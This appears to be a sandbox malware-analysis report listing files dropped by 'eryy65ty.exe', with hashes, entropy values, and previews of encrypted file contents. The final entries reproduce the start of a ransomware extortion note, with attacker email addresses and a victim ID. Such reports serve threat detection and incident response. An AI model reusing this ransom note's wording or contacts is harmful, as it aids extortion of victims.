                                                                                                                                                                MD5:0F1170DE86BBDF0D345ADA01F06BD567
                                                                                                                                                                SHA1:097E20CFE595F7FA86D7944BCE96D4DB98AA57D5
                                                                                                                                                                SHA-256:5FCC2CA31DA86964015916A011B3126CD7CE13FF3FB59BF83D25756CD771B590
                                                                                                                                                                SHA-512:F83938BF606DBB4369BA144A4C4E26B0FD102DD345BB2D4C890B04C138102B9D96C5291D9E6BC842C25DAAD70E99146D6ABCD9CAC38926FBF7D028341F7F9A23
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:./..v.8X.x....6.d.tf.L.J.37.../.c.&MWH0"..b..E ......x...N..Q[....N....RC._.S."...uV.dP.}.^5....u....`.|..\.........&.H5....g.....o..S.e..g3..`.{+Q.X.$c.......i......../.'.*."...u.6...NZ.X7h(p\..aC]...d.^R......7.hP.....X.[..%n..B..z.,.9A..lLw...*.R8.I1....7.C\Q......[4:..!Z{.P.=.#.2..n.......7W.=.gf.M.@.......!..l.T.2...SR.b....$..=.X......d.w..B.O.x...u.[C.....\._..Z.O....K."..dz1<....@4..:.#~].oD.C.....`..[..?...2.Kt..'4...*.?..n....[&w.@.[...d<...W.2wReWg................3..+..S......^m.P..TRK..?.F....v..W...|..ty..9..7.G.....F...<.bIc.:(g..q7._>...@WS.....F.nUGCM..)n..........;..3......a.(2....{..DW$GG.#...`...........R.......u.v.^.3.mQ.c.L.<.v....4A....y.,.{}..b^.....v>.)..2..z..PQ..3.6|j.B.H3Hq..5Y....D09..kn.../..c..G...3..Pc..E...4Z..J.....D.=../z...>..E.D....s.L.P.P..vVaJ"i...Nr...@H^.BUM....N,.i......M...g..X..h0.A...I;...=..<bk.j.V,.8..../..g,...3...V..v.M....(%.....V.>M......6...t.....u......%.Z...X..CQ..m.f...E....WS.-\.W.l...CZ{...@..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.865587106527909
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:bgtz6A7dpNG6aCqqHXnKKMLXo2vzJj7evXNFfUpMuxAAn6mdyd9LmAm:Utz6A/pzdHaVHzd4XHAMu/dcVfm
                                                                                                                                                                MD5:0F1170DE86BBDF0D345ADA01F06BD567
                                                                                                                                                                SHA1:097E20CFE595F7FA86D7944BCE96D4DB98AA57D5
                                                                                                                                                                SHA-256:5FCC2CA31DA86964015916A011B3126CD7CE13FF3FB59BF83D25756CD771B590
                                                                                                                                                                SHA-512:F83938BF606DBB4369BA144A4C4E26B0FD102DD345BB2D4C890B04C138102B9D96C5291D9E6BC842C25DAAD70E99146D6ABCD9CAC38926FBF7D028341F7F9A23
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:./..v.8X.x....6.d.tf.L.J.37.../.c.&MWH0"..b..E ......x...N..Q[....N....RC._.S."...uV.dP.}.^5....u....`.|..\.........&.H5....g.....o..S.e..g3..`.{+Q.X.$c.......i......../.'.*."...u.6...NZ.X7h(p\..aC]...d.^R......7.hP.....X.[..%n..B..z.,.9A..lLw...*.R8.I1....7.C\Q......[4:..!Z{.P.=.#.2..n.......7W.=.gf.M.@.......!..l.T.2...SR.b....$..=.X......d.w..B.O.x...u.[C.....\._..Z.O....K."..dz1<....@4..:.#~].oD.C.....`..[..?...2.Kt..'4...*.?..n....[&w.@.[...d<...W.2wReWg................3..+..S......^m.P..TRK..?.F....v..W...|..ty..9..7.G.....F...<.bIc.:(g..q7._>...@WS.....F.nUGCM..)n..........;..3......a.(2....{..DW$GG.#...`...........R.......u.v.^.3.mQ.c.L.<.v....4A....y.,.{}..b^.....v>.)..2..z..PQ..3.6|j.B.H3Hq..5Y....D09..kn.../..c..G...3..Pc..E...4Z..J.....D.=../z...>..E.D....s.L.P.P..vVaJ"i...Nr...@H^.BUM....N,.i......M...g..X..h0.A...I;...=..<bk.j.V,.8..../..g,...3...V..v.M....(%.....V.>M......6...t.....u......%.Z...X..CQ..m.f...E....WS.-\.W.l...CZ{...@..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.835448352033147
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:n6TOvS5ZhYqILUbCcAmDcRnPBpwMd+othFPlqg8jIe7fHWS0x5Zh35dS:nZEZhYJLcfDcRn7wNothdlq5jIe7fHWA
                                                                                                                                                                MD5:A01832C5D1E11F0073277D3AD84636DC
                                                                                                                                                                SHA1:A946926A8027647DDD68BB53C840D557FA0DDE29
                                                                                                                                                                SHA-256:C92C0426665DE0D0CE516CE5C02B91DA97A3C081DE1CBDAB978D0C35E1FD5A1B
                                                                                                                                                                SHA-512:F1D935F5F6E558A3740462B8E4608A291ED5B095A6F3E12D7EAF82EE7801BA446F964DCFFBFE709AFC01DE5E9EBBADE85AD509F3801E87665288C393D0EB55E4
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.s.......f..V..{...r... ...h.......q.65.S..k.6..&G..^........f........>Z.......:....(-.N$..EoY.&...,.....k..4a.....N......'x..s.4-.).O8..TG..}..e..l..5;S..5! v...y.q-%......1z.U.).".....[.R.sp.)..z..!.>..J....1.@f...... ..b/...6...;........%........;\..jz......;.0E.o..-....,F.S.0.d$...N.58.....:..}....B.G3..=.$).*..u'.=..2.E..../..L.H.z...,24...&.a{{B..:y.D.c..P;.m..,b...2.h..F.f.B......e.D.yS.fW}............f.\..y.....QVNX#3.?`.....{.y.Z...5..o-...N.njv.._.....7..y..4./.Q.....{..l.8..)...!.Hy...../W..s...'..#).?....@V.m5..|m..(.f......L.u....j.......L.P..X....,....j.p.m.Z...m...*...LNx.Q.X.]5tH]Ll.....y.T......+.["..v..r.]9M...g......g..........~.#.p.....R.Ox_..>m......7".~.....L.r.....u.9:.....B..pd...K.D...........=...pgb..3)..}.....]K........68e*X..0.u6.mU.=..... .:*.S.T...^5+~......*.._..MJ+...!1.....V..0....I..P.g..Sc...9{2g.{f'c`.=.9......nL.W....C@o...O..~.^7...*.d........]}....."..".q....X.cTr.......).o..ND......L.t.P..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.835448352033147
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:n6TOvS5ZhYqILUbCcAmDcRnPBpwMd+othFPlqg8jIe7fHWS0x5Zh35dS:nZEZhYJLcfDcRn7wNothdlq5jIe7fHWA
                                                                                                                                                                MD5:A01832C5D1E11F0073277D3AD84636DC
                                                                                                                                                                SHA1:A946926A8027647DDD68BB53C840D557FA0DDE29
                                                                                                                                                                SHA-256:C92C0426665DE0D0CE516CE5C02B91DA97A3C081DE1CBDAB978D0C35E1FD5A1B
                                                                                                                                                                SHA-512:F1D935F5F6E558A3740462B8E4608A291ED5B095A6F3E12D7EAF82EE7801BA446F964DCFFBFE709AFC01DE5E9EBBADE85AD509F3801E87665288C393D0EB55E4
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.s.......f..V..{...r... ...h.......q.65.S..k.6..&G..^........f........>Z.......:....(-.N$..EoY.&...,.....k..4a.....N......'x..s.4-.).O8..TG..}..e..l..5;S..5! v...y.q-%......1z.U.).".....[.R.sp.)..z..!.>..J....1.@f...... ..b/...6...;........%........;\..jz......;.0E.o..-....,F.S.0.d$...N.58.....:..}....B.G3..=.$).*..u'.=..2.E..../..L.H.z...,24...&.a{{B..:y.D.c..P;.m..,b...2.h..F.f.B......e.D.yS.fW}............f.\..y.....QVNX#3.?`.....{.y.Z...5..o-...N.njv.._.....7..y..4./.Q.....{..l.8..)...!.Hy...../W..s...'..#).?....@V.m5..|m..(.f......L.u....j.......L.P..X....,....j.p.m.Z...m...*...LNx.Q.X.]5tH]Ll.....y.T......+.["..v..r.]9M...g......g..........~.#.p.....R.Ox_..>m......7".~.....L.r.....u.9:.....B..pd...K.D...........=...pgb..3)..}.....]K........68e*X..0.u6.mU.=..... .:*.S.T...^5+~......*.._..MJ+...!1.....V..0....I..P.g..Sc...9{2g.{f'c`.=.9......nL.W....C@o...O..~.^7...*.d........]}....."..".q....X.cTr.......).o..ND......L.t.P..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858024162364552
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:17F6YhzlqhowO36WhHOlsHetaZMu/7NYgJPOoOYqg+kGt2w:dzlMowO36SqLtaZMk7N9c3g+kq
                                                                                                                                                                MD5:DFF9D60CDD6073BE8D2AAF976B766658
                                                                                                                                                                SHA1:D45A389A9510D9BD38EDEAD8930539395D1B0356
                                                                                                                                                                SHA-256:9EFCBE0C01CDCB7B3FF181314B500FB11F49DB88DBEE441A183A7A7045976314
                                                                                                                                                                SHA-512:E638D14FD9FED77953BAB78F6FAA9E137AEFF805B37EF00E5CF67ACB734AEA902BF65E9AE49AE7D7D507C2F25B08BE94FB0621A5804903EDCA9AFE63E8137AB3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....Kxx.}.oq`."...u.*...H'....q.].|F..k.m.-t....G.1..,..`......F....c*.z6.\.K.......<U.Y.&w.d...wR3.S.D.(..K...M.....8...I.+".%.yEb.@...zVO.......a-AW.@.I..0.....-..f......,../...%.0...N....A7....\J.n...qI......eL......G......c.....(..F.......nY.........~..A{&h.+,9..zG.....wgFW.W,..i.......}M...gI...1.. M.........nu./.?..8..0....).\{......X?.K.*.....oz...+...A........+.......l.exR...^.=....1.-p.E.!.RjC.9ss..6..!16..v..5..t..2.?d.S..O.A._K..>C...B.*R.1.k..\...0...j....EI....s\.#../b.C._Cw.]...f!...a:..=|4.....(......D..$....z.Q.Y..|\....Z.0f...%K-..D...".^.......V.1..j*.$p.......q?.....[.s....#.++.`kg.E...*!...iA}..P.VL.%b.7]G.d...Q..`.N...".....k./.:...@...D.........2......T2.$G.-...C..{..I....4.rI........r..z.T..?`./.?..T....;..<D.......W.?n.'.3Pr..&....Z ...._O._...|.]b..V9Y..m.?... .)............1..in.-...'..z.g.g.......=]#...Tv,..k~F...-..ABK..*;x..uy....2..Cn.c.........T60.....J&..no.a.y.o.\^S.h..x..2Q.x.-.f...Sua....w
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858024162364552
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:17F6YhzlqhowO36WhHOlsHetaZMu/7NYgJPOoOYqg+kGt2w:dzlMowO36SqLtaZMk7N9c3g+kq
                                                                                                                                                                MD5:DFF9D60CDD6073BE8D2AAF976B766658
                                                                                                                                                                SHA1:D45A389A9510D9BD38EDEAD8930539395D1B0356
                                                                                                                                                                SHA-256:9EFCBE0C01CDCB7B3FF181314B500FB11F49DB88DBEE441A183A7A7045976314
                                                                                                                                                                SHA-512:E638D14FD9FED77953BAB78F6FAA9E137AEFF805B37EF00E5CF67ACB734AEA902BF65E9AE49AE7D7D507C2F25B08BE94FB0621A5804903EDCA9AFE63E8137AB3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....Kxx.}.oq`."...u.*...H'....q.].|F..k.m.-t....G.1..,..`......F....c*.z6.\.K.......<U.Y.&w.d...wR3.S.D.(..K...M.....8...I.+".%.yEb.@...zVO.......a-AW.@.I..0.....-..f......,../...%.0...N....A7....\J.n...qI......eL......G......c.....(..F.......nY.........~..A{&h.+,9..zG.....wgFW.W,..i.......}M...gI...1.. M.........nu./.?..8..0....).\{......X?.K.*.....oz...+...A........+.......l.exR...^.=....1.-p.E.!.RjC.9ss..6..!16..v..5..t..2.?d.S..O.A._K..>C...B.*R.1.k..\...0...j....EI....s\.#../b.C._Cw.]...f!...a:..=|4.....(......D..$....z.Q.Y..|\....Z.0f...%K-..D...".^.......V.1..j*.$p.......q?.....[.s....#.++.`kg.E...*!...iA}..P.VL.%b.7]G.d...Q..`.N...".....k./.:...@...D.........2......T2.$G.-...C..{..I....4.rI........r..z.T..?`./.?..T....;..<D.......W.?n.'.3Pr..&....Z ...._O._...|.]b..V9Y..m.?... .)............1..in.-...'..z.g.g.......=]#...Tv,..k~F...-..ABK..*;x..uy....2..Cn.c.........T60.....J&..no.a.y.o.\^S.h..x..2Q.x.-.f...Sua....w
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.837678087587152
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:DyYOOq+wa47T1Ryc6GLe0XQO1c8EgxDqgN8PRCQ0qlVVbKExdSUhXdjzk:vO1y4v1GGq1B8EmJaR/tohktjY
                                                                                                                                                                MD5:710F450F504E4D4B9A151B1AFAE08041
                                                                                                                                                                SHA1:1F7D37153F90E28DAEE723517D496167F66F133D
                                                                                                                                                                SHA-256:27088990085203466B4E812BB755D733D3F8E940F9684EFF39CBE150EFEB95C8
                                                                                                                                                                SHA-512:E272BA04048E11768BD50A60D1684441DC5F14C21DB6A224C4CE7B913BA6D1C5B8651CAE50E804EDE0D1964D6A27CEEA4942678FAF2C01531FE51B0283FF75FD
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:M)%.fk..N^.......@..j.x..2.T....E..Ji....(F..;Y....L,.gl..b.M..l...>L?S'.z..X...D.EM<...h.&.!@.i]....J.........R...J...b...#..)...SKq.qb.#.q....h..7_.Sc..gh..#X*.0..`.6.l.t.q..g.9..~%....@+./.5el....6...../A.J.....E.`.\.M_TP.....7.b..L...G.i#.M....].q..wd..*.....@...+o...;..>.`..^.....:..E...J.R&.<........K.{U.?L.eS.....R.J*...i..{......x....J.".@,..QCti.xN^...RO........5L.S3.a....B.}P=...*.lS..UP.q7..d3f..b..A.]6.1.....!.A..4\?..7.a........ap..Y.h..A....2.+..%.....=..).+g.0m.._.S.#0..{.{.s..r.D......x..(......%.+..^.=(..T.p...D}..d.e.-......+(A..LFB|.*u...M.NMU. ....E^!.2....Z.N......t..".c.OL..4.HT.2.2.'....:...T.P}H.uy..c..5. .._..*....O%..0.[..........] ..R"Kn.........[.y.E...A....P....H..P.[.LX....... ......:..X.w....iC#.DVq.o....t...y...v..O.|X..1.[..%.....i.`..pF....,EA.$....+.^EO6....w.M$..d....Z..8Z*.....il...[.3..C....ZP.A...x.3LrV#..Oh.,y...........7.%z.*'T}..3..y.$RgT.b1/|)..Z.0N.Y*....r..Q......"..I+#.fNy[{-.}V.$`$..,..1
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.837678087587152
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:DyYOOq+wa47T1Ryc6GLe0XQO1c8EgxDqgN8PRCQ0qlVVbKExdSUhXdjzk:vO1y4v1GGq1B8EmJaR/tohktjY
                                                                                                                                                                MD5:710F450F504E4D4B9A151B1AFAE08041
                                                                                                                                                                SHA1:1F7D37153F90E28DAEE723517D496167F66F133D
                                                                                                                                                                SHA-256:27088990085203466B4E812BB755D733D3F8E940F9684EFF39CBE150EFEB95C8
                                                                                                                                                                SHA-512:E272BA04048E11768BD50A60D1684441DC5F14C21DB6A224C4CE7B913BA6D1C5B8651CAE50E804EDE0D1964D6A27CEEA4942678FAF2C01531FE51B0283FF75FD
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:M)%.fk..N^.......@..j.x..2.T....E..Ji....(F..;Y....L,.gl..b.M..l...>L?S'.z..X...D.EM<...h.&.!@.i]....J.........R...J...b...#..)...SKq.qb.#.q....h..7_.Sc..gh..#X*.0..`.6.l.t.q..g.9..~%....@+./.5el....6...../A.J.....E.`.\.M_TP.....7.b..L...G.i#.M....].q..wd..*.....@...+o...;..>.`..^.....:..E...J.R&.<........K.{U.?L.eS.....R.J*...i..{......x....J.".@,..QCti.xN^...RO........5L.S3.a....B.}P=...*.lS..UP.q7..d3f..b..A.]6.1.....!.A..4\?..7.a........ap..Y.h..A....2.+..%.....=..).+g.0m.._.S.#0..{.{.s..r.D......x..(......%.+..^.=(..T.p...D}..d.e.-......+(A..LFB|.*u...M.NMU. ....E^!.2....Z.N......t..".c.OL..4.HT.2.2.'....:...T.P}H.uy..c..5. .._..*....O%..0.[..........] ..R"Kn.........[.y.E...A....P....H..P.[.LX....... ......:..X.w....iC#.DVq.o....t...y...v..O.|X..1.[..%.....i.`..pF....,EA.$....+.^EO6....w.M$..d....Z..8Z*.....il...[.3..C....ZP.A...x.3LrV#..Oh.,y...........7.%z.*'T}..3..y.$RgT.b1/|)..Z.0N.Y*....r..Q......"..I+#.fNy[{-.}V.$`$..,..1
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834290926366956
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:BQcfLcTA7l7n/weuBxQxogxGQb3f4PU3Pt04i6T0cbRLFp0NeiU:BQUF/hxogx5IU3mE0+RLF6N+
                                                                                                                                                                MD5:C0204F5813428D1F88FD47AE2B5791BA
                                                                                                                                                                SHA1:FC26873A1E2700FA49990D0E9A3B4C6176363D47
                                                                                                                                                                SHA-256:E0D212825AA7E2994776A96DAF3F87332B2752DC6225E206A2BDC1CF55C1B192
                                                                                                                                                                SHA-512:FCB4BC409DB352FE0A897A862727B1244122D84930F1C4D5389636C991482EABEDB12F7DE8A9F9F32422FBC0014B0BB896681B27DFE021F7298311A0204CA670
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..eEH....F..DK.o.R(N...t..4.......i..(.L~..kQ0e....9@m..q..5b.41....K.-p.P.Y(.Z..(..._..*9..wj(...>G>....3EV`..T.S.v..k,.......}h_.+.......@..H.}...V.._QDctU2<.y{.`@F...p..H..6.X..^..m....D........c..5.....6...e.\...Ai.oa.`....m..@...v(.c..3...*6T|}9.S.RF?m...Yg....H.....}.>..9.L..;...GG:...$0n{P.}..L.`...b.]I..Z.C.....i.I.b.>.f.<......[S...6P...li.5..SfY.=P\..?.r<N.m,.Y^.........p=......H.M..=W..\cJ..wyT...+.l..o.U......XjK..,...[...&.}..d^ +cpn....e..Q.......f^"......mJ..Ul#..yJ}(....'.....-.nI.....Z.i......O.v.b.DP.Z..y..i....P%...q!.._....a|E......".18./...I.l...7..q..ceL...i-y....0.>"_.\..,X..w..`...MHco....v..[..=TU?b.*......G........%....P.f-.s..........fw@).7G..o....nPg.Y...1..../.m&......2L..I..^.......Q.L....8..h.o.s:".c.3...!P>.Y.[8...L.d0.r[.RT.I;.X....._j...I.."...W.3.B........l$[.../\...H.....j2........7......$..L..6..Y=0.D.}m.@..k.R..g.3..k.|..9._B.E.N...{.XJ..y........[v..~....3.l.....,hv..F...wp....=...b3.....W2.."..7..>....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.834290926366956
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:BQcfLcTA7l7n/weuBxQxogxGQb3f4PU3Pt04i6T0cbRLFp0NeiU:BQUF/hxogx5IU3mE0+RLF6N+
                                                                                                                                                                MD5:C0204F5813428D1F88FD47AE2B5791BA
                                                                                                                                                                SHA1:FC26873A1E2700FA49990D0E9A3B4C6176363D47
                                                                                                                                                                SHA-256:E0D212825AA7E2994776A96DAF3F87332B2752DC6225E206A2BDC1CF55C1B192
                                                                                                                                                                SHA-512:FCB4BC409DB352FE0A897A862727B1244122D84930F1C4D5389636C991482EABEDB12F7DE8A9F9F32422FBC0014B0BB896681B27DFE021F7298311A0204CA670
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..eEH....F..DK.o.R(N...t..4.......i..(.L~..kQ0e....9@m..q..5b.41....K.-p.P.Y(.Z..(..._..*9..wj(...>G>....3EV`..T.S.v..k,.......}h_.+.......@..H.}...V.._QDctU2<.y{.`@F...p..H..6.X..^..m....D........c..5.....6...e.\...Ai.oa.`....m..@...v(.c..3...*6T|}9.S.RF?m...Yg....H.....}.>..9.L..;...GG:...$0n{P.}..L.`...b.]I..Z.C.....i.I.b.>.f.<......[S...6P...li.5..SfY.=P\..?.r<N.m,.Y^.........p=......H.M..=W..\cJ..wyT...+.l..o.U......XjK..,...[...&.}..d^ +cpn....e..Q.......f^"......mJ..Ul#..yJ}(....'.....-.nI.....Z.i......O.v.b.DP.Z..y..i....P%...q!.._....a|E......".18./...I.l...7..q..ceL...i-y....0.>"_.\..,X..w..`...MHco....v..[..=TU?b.*......G........%....P.f-.s..........fw@).7G..o....nPg.Y...1..../.m&......2L..I..^.......Q.L....8..h.o.s:".c.3...!P>.Y.[8...L.d0.r[.RT.I;.X....._j...I.."...W.3.B........l$[.../\...H.....j2........7......$..L..6..Y=0.D.}m.@..k.R..g.3..k.|..9._B.E.N...{.XJ..y........[v..~....3.l.....,hv..F...wp....=...b3.....W2.."..7..>....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.879952161167363
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:Iy1IKAm0JLuWnAh1iGWIbjm1iSJPPNqH7KhlpTuhfo+Oydb6+C9FK1uc52eG:PaXRIkGbNCPPNqbKAmmC9FM4J
                                                                                                                                                                MD5:FBE37AA0C27A1312077E28C35EB6DE47
                                                                                                                                                                SHA1:10E37F878CD4B614EFCA6EEE0765940E984CF2E6
                                                                                                                                                                SHA-256:C48B94D44A32C55066B683A3F420BB351C938EA9513FCAB68B078A88732D180B
                                                                                                                                                                SHA-512:85FCF66D0C43E894866E740D22A2A17D77A75238DAF482CDC850538B430FE803A6FC1D12C9A3221ED4A3FC472307B74FCE5218E15811FD239393528F218C5EB1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:<..4)......f...W.v.......f.H.}^.2 k. Z]C..2.A...Y.R....l..eL....7L8<.p.I.."c'..hJ...F.#.....B.....&..\...RoaKJ,...4...:?9/.{:.....8v`.u..4...dO....D....u6W..!....?...x$......B.+(..J..@Edt..S...T...Z....eX%.V.|#.....3{.!h...4.s<.]]..\.E.sz=.].... IO....h.m..j%FD..|.a.r....^...K".%..<..O.R.c{..+[>...W...#..dy.8..5@.....9...x.K[8....z.J.!.6M......cD.b..t...'/......X.....jo.C......4...=;..<......N...Z......9N...u.V.h.>1..)..[.g.bW...3...*lx ...>.g..5..K...#m....W.....;O....G.s.Z5.s.....!.u....$.bD..[.........3..u.n..-gn|.W......V....wI..ODaP.w:^.`..6I.....7v......~v9/.;.'?rv....u....o.s.dBf.H.....D....R>.Q|..d`.D,h.F.R..:(z}..|...>...^Y..F....d..5.x..c.e.7.S.B...;dmV.....P.qp.A.t..V.O.;.D...]g7.sVj..+..9d$.3..}.U.h....wiX...s ._{..sC`...J.,.)&|.. ..ZM2....q..B.._.tn...2.5.......OE.)..........}..}P./.4eU...1.w.t.u.C....v!..7U*...$..H..QU.'....9.U=......c.2.0.O......V..G..[..z.;.......=......_.....:.".G.}...M@.M..>.....^B..P.R.%.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.879952161167363
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:Iy1IKAm0JLuWnAh1iGWIbjm1iSJPPNqH7KhlpTuhfo+Oydb6+C9FK1uc52eG:PaXRIkGbNCPPNqbKAmmC9FM4J
                                                                                                                                                                MD5:FBE37AA0C27A1312077E28C35EB6DE47
                                                                                                                                                                SHA1:10E37F878CD4B614EFCA6EEE0765940E984CF2E6
                                                                                                                                                                SHA-256:C48B94D44A32C55066B683A3F420BB351C938EA9513FCAB68B078A88732D180B
                                                                                                                                                                SHA-512:85FCF66D0C43E894866E740D22A2A17D77A75238DAF482CDC850538B430FE803A6FC1D12C9A3221ED4A3FC472307B74FCE5218E15811FD239393528F218C5EB1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:<..4)......f...W.v.......f.H.}^.2 k. Z]C..2.A...Y.R....l..eL....7L8<.p.I.."c'..hJ...F.#.....B.....&..\...RoaKJ,...4...:?9/.{:.....8v`.u..4...dO....D....u6W..!....?...x$......B.+(..J..@Edt..S...T...Z....eX%.V.|#.....3{.!h...4.s<.]]..\.E.sz=.].... IO....h.m..j%FD..|.a.r....^...K".%..<..O.R.c{..+[>...W...#..dy.8..5@.....9...x.K[8....z.J.!.6M......cD.b..t...'/......X.....jo.C......4...=;..<......N...Z......9N...u.V.h.>1..)..[.g.bW...3...*lx ...>.g..5..K...#m....W.....;O....G.s.Z5.s.....!.u....$.bD..[.........3..u.n..-gn|.W......V....wI..ODaP.w:^.`..6I.....7v......~v9/.;.'?rv....u....o.s.dBf.H.....D....R>.Q|..d`.D,h.F.R..:(z}..|...>...^Y..F....d..5.x..c.e.7.S.B...;dmV.....P.qp.A.t..V.O.;.D...]g7.sVj..+..9d$.3..}.U.h....wiX...s ._{..sC`...J.,.)&|.. ..ZM2....q..B.._.tn...2.5.......OE.)..........}..}P./.4eU...1.w.t.u.C....v!..7U*...$..H..QU.'....9.U=......c.2.0.O......V..G..[..z.;.......=......_.....:.".G.}...M@.M..>.....^B..P.R.%.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
